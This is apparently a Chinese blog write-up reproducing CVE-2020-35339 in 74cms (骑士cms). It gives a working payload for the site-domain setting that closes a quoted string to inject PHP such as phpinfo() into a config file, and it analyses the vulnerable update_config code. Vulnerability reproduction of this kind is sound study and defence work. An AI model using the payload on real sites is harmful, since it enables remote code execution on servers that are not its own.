骑士cms任意代码执行(cve_2020_35339)
漏洞复现
url处输入index.php/admin.php进入后台登录界面

漏洞点在于网站的系统处

payload:http://127.0.0.1/.',phpinfo(),'/.com
保存后到登录界面

中间的phpinfo()也可以改成其他php命令
代码分析
拿docker容器源代码的办法
先docker ps 看一下容器ID
然后 docker exec -it d50318dd1023 /bin/bash 进入容器命令行
zip -r app.zip /app 压缩/app目录,文件都在里面
然后exit() 退出容器
docker cp d50318dd1023:/app/app.zip /home/susen(这个根据你的用户名)
然后就可以在/home/susen里面看到app.zip了
漏洞点在写入了配置文件 ,而配置文件是php后缀
最主要的漏洞点在于\Application\Common\Controller\BackendController.class.php
public function update_config($new_config, $config_file = '') {
!is_file($config_file) && $config_file = HOME_CONFIG_PATH . 'config.php';
if (is_writable($config_file)) {
$config = require $config_file;
$config = multimerge($config, $new_config);
if($config['SESSION_OPTIONS']){
$config['SESSION_OPTIONS']['path'] = SESSION_PATH;
}
file_put_contents($config_file, "<?php \nreturn " . stripslashes(var_export($config, true)) . ";", LOCK_EX);
@unlink(RUNTIME_FILE);
return true;
} else {
return false;
}
var_export() 生成带单引号的PHP代码字符串
输入一个域名 ,在/Application/Common/Conf/url.php处可以发现它在处理网站域名的时候只取“.”符号分割出来的最后两个,并且是以字符串的形式作为其中一个元素存在文件中的。如果要执行代码,我们应该让其作为一句php代码,而不是字符串单独存在。所以自然而然,很简单就可以使用“ ' ”闭合,用“,"使其独立。正巧使用到的这两个符号在前面的过滤函数中均未过滤


浙公网安备 33010602011771号